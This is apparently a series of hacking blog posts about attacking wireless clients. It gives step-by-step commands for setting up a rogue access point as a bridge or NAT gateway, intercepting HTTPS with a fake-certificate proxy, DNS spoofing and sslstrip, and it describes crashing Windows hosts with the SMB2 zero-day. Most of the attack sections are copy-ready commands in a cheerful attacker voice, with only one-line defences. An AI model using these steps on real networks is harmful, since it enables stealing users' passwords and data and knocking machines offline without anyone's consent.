Even HTTPS woudnt save you......

Once the attacker is MITM between the wireless client and internet, attacker can play with the packets on the fly without the end user having any idea about it. But what if the client was using https instead of http. Even if the attacker captures all the packets going through it, he woudnt be able to read the packets as data is encrypted through a combination of programs and encryption/decryption routines that exist on the web hosting server and in browser programs. It goes like this....

• Browser checks the certificate to make sure that the site you are connecting to is the real site and not someone intercepting.

• Determine encryption types that the browser and web site server can both use to understand each other.

• Browser and Server send each other unique codes to use when scrambling (or encrypting) the information that will be sent.

• The browser and Server start talking using the encryption, the web browser shows the encrypting icon, and web pages are processed secured. (Some of the sites use https only for secure login, and then redirect all data through http connection. These sites are vulnerable to session hijacking)

For more information on how it works, look here.

So for the attacker to read those packets, he either has to provide a fake certificate (for which attacker is the certifying authority, so he knows the private key) to the end user or somehow redirect all https traffic to http so that the packets are not encrypted at all. Lets see how an attacker can achieve this:

Assumption : You are already a MITM. If you dont know how to become MITM, see here.

First Approach: In this approach, attacker has to set up a proxy server listening on port 80 (http) and 443(https) , and then redirect all traffic from the client to its proxy server. Proxy server will throw a fake certificate to the client and a warning will be shown by the client browser (as this certificate is not signed by any certifying authority stored in browser). Now if the end user accepts the certificate, it will encrypt all data with the public key which it has just got in the certificate. Now the attacker can decrypt all data, as it knows the private key and then send it to the original site.

You can use a proxy server delegated, and run it with following options:

#delegated -P443 SERVER=https -v PERMIT="*:*:*" REMITTABLE=+,http,https RELAY=proxy,delegate,vhost STLS=mitm FTOSV=-tee-n & (for https)

#delegated -P80 SERVER=http -v PERMIT="*:*:*" REMITTABLE=+,http,https RELAY=proxy,delegate,vhost STLS=mitm FTOSV=-tee-n & (for http)

Now to redirect all traffic from client to your IP addrees, you have to send dns replies which should resolve all DNS queries to your IP.
#dnsspoof -f dnsspoof.host -i $interface
(where $interface is the IP of the bridge or wireless interface in case of NAT AP)

dnssppof.host file would look like:
$ip *
(where $ip is the bridge IP or wireless interface in case of NAT AP)
And now attacker can read all data... Bingo!!!!

Vulnerable Clients: All unassuming, unaware and unsuspecting clients which accept the fake certificate even after browser warning.

Defence: Read all warnings carefully and try to understand their meaning.

Second Approach:In this approach, attacker exploits the fact that end users expect secure sites to redirect from http to https for login. In this case, mechanism for redirecting people from the insecure to the secure version of a web page can be abused. As it is difficult to be certain about where the endpoints of communication lie, by acting as a man-in-the-middle, attacker can create a unsecure connection between victim and attacker (who can read everything in the clear text) and then a second secure connection between the attacker and secure website.

A very good video tutorial is here.

To make it work for our honeypot AP, first download ssl-strip.
I am assuming you have become MITM using NAT AP approach and have extracted ssl-strip in the same directory. The extra steps are:

#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 777
#cd sslstrip-0.4
#xterm -e python sslstrip.py -l 777 -f lock.ico
All data will be logged to sslstrip.log file.

Vulnerable Clients:All clients which initiate access to secure (HTTPS) websites using insecure connection (HTTP). It is more potential attack than the previous one as it doesnt even give any warning and it can show a fake lock icon also.

Defence: For all those sites which support HTTPS, always use https from the initiation stage.

Conclusion: The weekness is not in the SSL but the fact that attacking the end user is the weakest link in the chain. Security should never be in the hands of end user. :)

Being MITM --- A Wireless Scenario.....

Capturing useful information (i.e. username/passwords etc..) from the users of the network has always been any hacker's primary motivation. It was easy to capture all data flowing in the network by putting your card in the promiscuous mode and running a sniffer when bridges and hubs were used in the networks. With the advent of the switches, as data was forwarded only to either the intended system (if in the same subnet) or the gateway, attacker had to be an MITM (Man In The Middle) to get the data from the victims.
ARP poisoning is the only way to get between an legitimate gateway and victim machine, where we poison ARP cache of the systems in the network changing gateway's MAC address to attacker's MAC by sending fake ARP replies. Attacker needs to be a part of your subnet for this trick to work. Given this background on MITM, lets move to how all this becomes very easy for an attacker in the wireless scenario.

As soon as wireless client connects to attacker's honeypot AP, attacker can either assign an IP address to the client by setting up a dhcp server or can just bridge the wired and wireless interface so that the client gets IP address from the enterprise network. Though i prefer the first approach as some enterprise networks might have static IP address allocations, i will explain both.

Assumption : The wired interface(eth0) has internet connectivity.

First approach:
This approach will work only if wired interface gets IP address from the dhcp server. It goes the same way as already has been explained here, with the difference that you dont have to run dhcp server as you expect client connecting to your honeypot AP to get IP address from enterprise network. The additional step that you have to do is, creating a bridge between the wired and wireless interface.

#ip address flush dev eth0
#brctl addbr br0
#brctl addif br0 ath0 (ath0 is wireless interface)
#brctl addif br0 eth0
#ifconfig br0 up
#dhcpcd br0 (or dhclient, whatever is your dhcp client)

Second Approach: In this case, the honeypot AP acts as a NAT AP. After setting up honeypot AP, follow these steps:

#ifconfig ath0 up
#ifconfig ath0 10.0.0.1 netmask 255.255.255.0
#route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
#iptables --flush
#iptables --table nat --flush
#iptables --delete-chain
#iptables --table nat --delete-chain
#iptables -P FORWARD ACCEPT
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

echo "1" > /proc/sys/net/ipv4/ip_forward

Run dhcp server on wireless interface:

#dhcpd -d -f -cf /etc/dhcpd.conf ath0 &
Bingo!!! Now your honeypot AP is a NAT AP.

You can choose any of these approaches and now you are a MITM between the wireless client and Internet. Being a MITM, you can log, modify and drop the data (coming from/going to) the client.

We will see in the next posts, how we can go a step further and decipher all data even if the wireless client uses secure HTTP (https).

Even The Most Secure is not secure.....

"It is not a question of 'if' the software you use will be hacked but a question of 'when'. A secure computer software is an oxymoron."
Windows Vista/Seven have always been touted as being the most secure OSes. A "0 day attack" has been discovered by Laurent Gaffié which allows the attacker to launch a denial of service attack causing BSOD in systems running OS using SMB2.0 protocol.

Vulnerable OS: Windows Vista/ Seven/Windows 2008 With SP2
(Windows 7 RTM and Server 2008 R2 RTM are not vulnerable to this exploit. 7/2008 R2 RC are, as are Vista/2008)
All systems running these OSes and having file sharing in network connection center enabled are vulnerable.

More info can be found at:
http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

This 0 day attack was posted on full disclosure on 7th September, 2009. A metasploit port has also been created for this within a day it was disclosed.
http://trac.metasploit.com/browser/framework3/trunk/modules/auxiliary/dos/windows/smb/smb2_negotiate_pidhigh.rb

Defences:As no patch is available at the moment, the only solution is to either close SMB feature altogether or don’t let any untrusted machine to be able to access your network services(dont let it be a part of your network).

a)The first defense works at the cost of (un)usability of one of the most important and most used network service. The information on how to disable SMB 2.0 can be found here:
http://blogs.technet.com/askperf/archive/2008/05/30/two-minute-drill-overview-of-smb-2-0.aspx

b)For the second defense, you can be secure at some level in case of wired network because of the physical security, but it becomes complicated in case wireless because of its borderless nature. Lets consider these scenarios:

DoS against enterprise network :
Attacker can get access to the enterprise network either by some misconfigured AP or rouge AP. Once the attacker gets the enterprise network access , attacker can lauch this dos attack crashing all systems running vulnerable OSes in that network.Finding clients running OS vulnerable to this attack is not a difficult task(any network scanner having OS fingerprints will do the trick).

DoS against a wireless client:
Using wifishfinder, attacker can easily find the SSIDs probed(with security settings) by unassociated client.These are the networks the client is willing to connect to. If any of the SSIDs is vulnerable to honeypot attack, we can make the client connect to our honeypot AP without any interaction from the user. And then, Bingo!!!, suddenly client gets a BSOD.

Keep looking for more updates......